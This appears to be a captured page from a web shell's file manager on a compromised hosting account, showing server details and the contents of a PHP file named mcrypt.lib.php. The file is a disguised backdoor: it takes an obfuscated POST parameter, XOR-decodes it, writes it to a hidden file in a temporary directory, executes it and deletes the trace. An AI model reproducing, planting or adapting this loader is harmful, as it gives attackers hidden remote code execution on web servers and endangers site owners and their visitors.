HEX
Server: Apache
System: Linux web2037c1.megawebservers.com 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 28 10:41:06 UTC 2025 x86_64
User: absolutespace.ca (53202)
PHP: 7.4.33
Disabled: apache_get_modules,apache_get_version,disk_free_space,phpinfo,exec,shell_exec,passthru,system,proc_nice
Upload Files
File: /services/webpages/a/b/absolutespace.ca/public/mcrypt.lib.php
<?php

if(isset($_POST["ma\x72\x6Be\x72"])){
	$k = hex2bin($_POST["ma\x72\x6Be\x72"]);
	$object= ''; for($x=0; $x<strlen($k); $x++){$object .= chr(ord($k[$x]) ^ 94);}
	$obj = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", session_save_path()]);
	$flg = 0;
do {
    $desc = $obj[$flg] ?? null;
    if ($flg >= count($obj)) break;
    		if (is_dir($desc) && is_writable($desc)) {
    $ent = "$desc" . "/.property_set";
    if (file_put_contents($ent, $object)) {
	require $ent;
	unlink($ent);
	die();
}
}
    $flg++;
} while (true);
}